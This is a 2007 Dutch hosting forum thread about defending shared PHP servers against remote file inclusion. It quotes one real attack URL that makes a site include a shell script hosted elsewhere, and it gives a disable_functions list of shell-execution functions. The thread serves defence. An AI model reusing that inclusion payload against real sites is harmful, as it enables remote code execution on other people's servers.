PDA

Bekijk Volledige Versie : exec in php uitschakelen



easy2host
28/05/07, 11:04
Wij hebben wel eens last van mensen die hun website niet helemaal goed scripten en dat daardoor makkelijk links geincude kunnen worden van buiten af.

Nu was het weer eens een keertje lekker raak en werd de volgende link aangeroepen

www.site.nl/pagina.phppagina=http://www.freewebtown.com/pkspks/sh.txt

in die link (kun je overigens openen) staat een mooi stukje scripting.. Ik vermoed dat hij wordt ge-include, hij maakt een bestand aan in de /tmp (in ons geval a.pl) en roept hem via exec of shellexec aan via php.

Het script zelf is een perl script en niet te runnen in de /tmp directory, maar dus wel via exec of dergelijk in php

Hoe beveilig je dit?

wonko
28/05/07, 11:08
Het helpt al veel om te verhinderen dat remote files geinclude kunnen worden. Daar worden de meeste fouten op gemaakt. Verder dien je je server zo in te richten dat een slecht geprogrammeerde site geen schade kan aanbrengen aan de andere sites die op de server staan (denk suphp, suexec,...)

gjtje
28/05/07, 11:36
Ook je /tmp mounten met noexec lost een boel op.

Hugh
28/05/07, 11:39
Heb je ook wel eens gekeken naar de optie safe-mode in PHP (zie PHP manual)? Of heb je dat juist toegepast en beveiligt dat niet voldoende?

blaaat
28/05/07, 12:23
In php5 zit allow_url_include, die even op Off zetten.

verder kan je met disable_functions = exec, system, etc bepaalde functies uit zetten.

easy2host
28/05/07, 12:34
Onze servers draaien allemaal op plesk, standaard staat de safe-mode overal aan en is de /tmp goed gemount.

Ik heb de /tmp ook getest en vanuit hier is niks uit te voeren, maar het script zette alleen een perl bestand in de /tmp en voerde hem uit via een exec commando in php... daar ging het fout denk ik.

ik heb me nog niet verdiept in allow_url_include maar er worden ook rss bestanden aangeroepen vanuit scripts, gaat dit dan wel goed?
anders is kan dit inderdaad een goede optie zijn.

ik ga die functies ook wel even disablen...

Alvast bedankt

blaaat
28/05/07, 12:36
RSS bestanden kan je gewoon lezen, zolang je allow_url_fopen aan laat staan, fopen & include zijn 2 andere dingen. Dus dan kunnen klanten gewoon met de normale commando's rss inladen (file_get_contents,file etc).

Cripton
28/05/07, 12:39
Het disablen van deze functies zoals Blaaat al heeft vermeld lijkt mij de beste oplossing. Tenzij natuurlijk ieder domein een eigen php.ini heeft.

Deimos
28/05/07, 13:08
Safe mode is natuurlijk ter beveiliging van PHP geen optie. Daarom komt die 'functionaliteit' ook te vervallen vanaf PHP versie 6. Het geeft namelijk een schijn gevoel van veiligheid.

Naar mijn idee is de beste optie nog altijd om PHP te draaien onder de uid/gid van de user. Indien gewenst kan je vervolgens dmv de kernel, limits opgeven voor users (dit kan overigens ook via de httpd.conf).

Freakingme
29/05/07, 00:56
Inderdaad. Waarom zou je dit soort functies gaan uitschakelen? Als een user ze wilt gebruiken, best! als het maar wordt gedraaid met de rechten van die user. Het enige wat die user onveilig kan maken, zijn z'n eigen dingen.

DutchTSE
29/05/07, 11:01
PHP4:
disable_functions = symlink, system, shell_exec, exec, proc_get_status, proc_nice, proc_terminate, define_syslog_variables, syslog, openlog, closelog, escapeshellcmd, passthru, ocinumcols, ini_alter, leak, listen, chgrp, set_time_limit, apache_note, apache_setenv, debugger_on, debugger_off, ftp_exec, dl, dll, ftp

allow_url_fopen = Off

Zal al veel oplossen :)